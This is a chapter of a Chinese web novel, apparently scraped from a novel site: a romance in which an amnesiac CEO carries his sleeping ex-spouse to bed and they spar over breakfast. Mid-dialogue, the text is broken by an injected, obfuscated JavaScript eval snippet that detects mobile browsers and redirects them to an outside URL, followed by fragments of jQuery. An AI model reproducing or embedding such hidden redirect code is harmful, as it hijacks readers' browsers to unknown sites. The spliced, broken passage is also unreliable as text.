12.抱夫人回房

作品:《钓系攻的恋爱脑丈夫失忆了

    结束工作已近凌晨。


    程凛洲思来想去还是驱车一小时回了别墅。推开门,客厅沙发旁的落地台灯亮着,阳台玻璃门外,阿拉斯加在轮船形状的狗窝里睡得四仰八叉。


    昏黄柔和的灯光映在视网膜上,心脏没来由地一跳,转瞬止熄。与之同时燃起的是充斥胸腔一整日的烦躁,亟待发泄。


    脱掉西装扔在玄关,程凛洲扯开领带往酒柜方向走,路过茶几也没垂眼看,拖鞋就这么被一条毛茸茸鲨鱼拦住了去路——他瞳孔骤缩,失去重心单膝触地,撑着沙发稳住另一侧身体,好险没压到地毯上那白色的一团。


    “……”


    感受到响动的人咕哝着翻了个身,脚从鲨鱼拖鞋里挪了出来,屈膝蜷紧身体。呼吸很快恢复均匀。


    程凛洲面无表情地维持住了这个半悬空姿势。


    半晌,垂眸。


    前妻露出的半边脸印着被手臂压出来的红痕,雪白肌肤上尤为鲜艳。微卷的发丝散乱在身下,像柔软茂盛的海藻,顺着优美的肩颈落进宽松的睡袍衣领。


    睡着了也是似蹙非蹙的表情,幽暗的光线像一层浸润忧愁的纱,轻轻笼罩在他如画的眉眼处。


    按在沙发上的指骨骤然收紧,那股烦躁丝毫不曾收敛,火舌愈发肆无忌惮。


    程凛洲腾地起身,去酒柜里随便抓出了一瓶威士忌,拧开对着瓶口纯饮,转眼灌下去了小半瓶。


    酒液灼烧食管,蒸发些许理智,他缓步走了过来,蹲下,再度盯着地毯上熟睡的人。


    故意的吧。


    故意睡客厅等他回来,还睡得这么楚楚可怜。


    手指拎起领带用昂贵柔滑的布料碰了碰这人的脸,程凛洲耷拉着眼皮看了会儿,又极轻地扫了一下他纤长的睫毛。


    没醒。


    那就不是装睡了。


    ——“宋先生很好,但他对你没什么感情,否则这两个月也不会一次都没有来看你。”


    “如果程总寻找新对象需要我的帮助,可以尽管说。”


    “放心,我答应了你离婚就一定尽量配合。”


    ……


    不知过了多久,他把酒瓶搁在了茶几上。


    一手抄进前妻的腿根,另一手托住单薄的肩颈,他尽量稳地把人从地毯上抱了起来。


    第三次抱他了。


    程凛洲总觉得这具身体没什么温度和力量,恍若怀抱了一片轻柔的羽毛,他肌肉结实的胳膊却紧紧绷着,丝毫不敢动。


    睡梦中的脑袋偎进了他的肩窝,微不可察地蹭了蹭。柔软的长发和暗蓝色的领带缠绕在了一起。


    呼吸再一次恢复平稳。


    程凛洲眸中划过几道莫名的情绪。许久之后才抱着人走上了楼梯。


    .


    前一天太累了,宋矜郁这日醒得晚了些,想着反正小田会帮忙遛狗,索性又赖了会儿床。


    床头悬挂着他用各种干果壳制成的风铃。手指拨了拨,发出的声音舒缓轻柔。


    宋矜郁闭眼倾听时,会有一种平静海面上微风拂过的舒适感。


    他6岁时溺过一次水,对大海既向往又畏惧,喜欢临摹各种画家关于海的画,喜欢海洋生物,却不清楚真正的海是什么样。


    但某人说过,这风铃和海不沾边,是脑子进水的声音。


    真讨厌。


    他从床上坐了起来,双脚习惯性地伸进床边的鲨鱼拖鞋里,踢去卫生间洗漱。叼着牙刷整理头发时模模糊糊想起来……他昨晚睡觉前有跑到卧室来吗?印象中最后是躺在地毯上玩手机来着。


    大概……有吧。


    洗漱完下楼已经九点多了,宋矜郁惊讶地看向餐桌边抱臂沉思的人,脱口而出:“你今天不上班?”


    程凛洲抬眼睨他:“你猜什么叫老板。”


    唉,资本家。


    宋矜郁走到餐桌对面坐下,程凛洲默不作声盯着他,明显在他脸上观察着什么。


    “怎么了?”


    程凛洲揉了揉眉心,把温度适宜的蔬菜粥推了过来:“先吃早饭。”


    “……哦。”


    一碗粥,五只菌菇蒸饺,煎蛋和各种小菜。


    宋矜郁顶着对面的视线,小学生做作业一样把属于自己份额的早餐吃完,擦了擦嘴率先开口:“你晚上没睡好?”


    是压根没睡。


    不过无妨,他精力足得很。程凛洲向后靠在椅背上,不答反问:“昨天那俩人为什么欺负你?”


    宋矜郁从果盘里挑了个又大又红的草莓,闻言有点好笑:“就拌了两句嘴,哪里算欺负我了。”


    昨晚任先生是忍住了,任太太又气急了,端起酒杯要泼他。结果被时刻盯着这边的服务生拿托盘精准阻拦,“客客气气”请出了餐厅。


    “我说我昨天穿的衣服是艺术,人家觉得是破烂,我认为他们不懂欣赏,一来二去就吵了起来。”宋矜郁随口编理由,语气郁闷,“很烦别人质疑我的审美。”


    程凛洲:“……”


    目光在这人微鼓的腮帮子上顿了顿,瞥向他的衣服——今天穿了一件更松垮的破洞米白色针织衫,领口很大,露出平直优美的锁骨和肩线。用了存在感很强的草绿色绸缎发圈绑头发,衬在脸旁边显得脸又小又白。


    瞎了眼才会觉得不好看。


    程凛洲别开视线:“你心情不好就是为这个?”


    “嗯。”宋矜郁顺势承认,“那俩人是我妈妈的朋友,我从小就不喜欢他们,一想到要同桌吃饭就烦。饭桌上聊到了不愉快的话题,发生了一些争执,不算什么大事。”


    且不说那二人气得不轻,众目睽睽之下被从餐厅撵出去就足够丢面子了。恐怕这段时间都会沦为社交圈的笑料。


    程凛洲没再多问,屈指在胡桃木桌面上叩了叩:“要不要把他们抓起来重塑审美?”


    ……怕的就是这个。


    宋矜郁用力摇头,故作惊吓道:“你是黑涩会吗?”


    被他的反应取悦到了,程凛洲紧绷的眉宇缓和了些许:“也可以是。”


    “……程总请高抬贵手。”


    端起马克杯喝了口茉莉乌龙茶,宋矜郁知道这小子还有话没说完。


    “昨天一起的是我发小的姐姐。”果然,没多会儿对方再次开口,“公司的项目有合作,她助理没来,我扶了一把。”


    “她猜到鞋子是你送的了,说下次当面谢你。”程凛洲瞥他一眼,语气颇怪,“你人缘还挺好。”


    宋矜郁不置可否。


    “我不想找什么下一个结婚对象,没兴趣,更用不着你帮忙。”最后,他抛下一句。


    程凛洲一直这样,有话就说,有问题就解决,不回避不纠结,其实很克他。


    宋矜郁真情实意地忧虑道:“那样不行吧。”


    “为什么不行?”程凛洲奇怪,“我说不想那就不用找,谁都不能干涉我的事。”


    宋矜郁沉默片刻,轻轻放下杯子,打量年轻俊朗的男人:“你今天就穿这个上班吗?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743303|173456||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “怎么?”他低头扫了眼身上的藏青色运动装,“今天没必要穿西装。”他本来也不怎么喜欢,不舒坦。


    “内搭颜色太暗了,换件白色的吧,圆领。”


    “行。”程凛洲干脆利落地起身。


    宋矜郁重新端起马克杯,自言自语:“这不是挺容易干涉的吗。”


    男人高大的背影僵住。


    “你……”


    转过身,前妻用一张清纯无辜的脸对着他,程凛洲眯了眯眼眸……胸中凝结了一天一夜的黑气忽的就散了。


    甚至生出了几分愉悦。


    “从来没人敢对我说这种话。”抛下一句颇为龙傲天的台词,他勾着唇角上楼换衣服去了。


    宋矜郁:“……”


    好无语。


    又低头啜了两口花茶,他的视线忽而移向沙发前的地毯——


    不会吧……


    色泽浅淡的眉心逐渐皱了起来。


    .


    例行会议结束。


    程凛洲手指一点,再次把程均哲留了下来,开门见山道:


    “你去转告老头子,让他没事少瞎操心,操心越多活得越短,闲得慌就去练他的琴。”


    程均哲:“……”


    真的要这么和程老爷子讲话吗。谁不知道程老爷子“深耕”古典音乐届多年仍是须得属下和晚辈硬着头皮吹捧的水平。


    他推了推鼻梁上的金丝眼镜,温和微笑:“还是由你亲自告诉他吧,我暂时不想被他用拐棍敲死。”


    程钧哲语气幽默,和他工作时的谨慎细致很不一样。


    程凛洲对这个堂哥的印象总体不错。


    他们在他掌管程氏之前交集甚少,程凛洲任职总裁之后对方一直安安稳稳,他休息这段时间也没什么小动作,更没像别人一样自作主张给他灌输什么失忆之前的事。


    除了这一次。


    靠在老板椅上悠悠转了半圈,程凛洲轮廓分明的脸庞被窗外光线切割,明亮处只余一个锋利下颌。


    “也行。”


    他站起身,抬脚走过来,拍了拍程均哲的肩膀。冷淡磁性的嗓音从头顶落下,蕴含着一丝不易觉察的危险:


    “那就麻烦你,让他以后有事直接和我说。传来传去的对谁都不好。”


    程均哲安静坐在位置上,眼皮微微一跳。


    .


    程凛洲无疑是一个严苛的掌权人,雷厉风行杀伐果断,不容任何人僭越。


    但那基本只针对高管高层和竞争对手,在他手底下的员工反而挺轻松。他发布任务简洁明了,不搞乱七八糟的企业文化,或者刻意营造低气压让人喘不过气。


    所以他去开会时,没事干的秘书偷着刷刷手机很常见。


    会议提早结束,程凛洲从专属电梯出来,踏进铺着静音地毯的走廊。门口办公桌上的秘书没发现他,还在乐呵呵刷视频。


    程凛洲本没当回事,然而等他走近,听到对方亢奋地念叨了一句:“哇靠!有大腿痣!涩死我算了!”


    大腿痣?


    脑海里陡然浮现昏黄灯下某条雪白修长的大腿,靠上的里侧有一颗若隐若现的红色小痣,像艳丽的血珠。


    视线就那么不经意地往秘书手机屏幕上飘了过去。


    数秒后,程凛洲怒气冲冲推开办公室的门,再砰一声砸上,吓得秘书小姐肝胆俱颤,手机都掉在了地毯上。


    上面赫然是某位一晚涨粉数万的新晋“擦边”美术主播。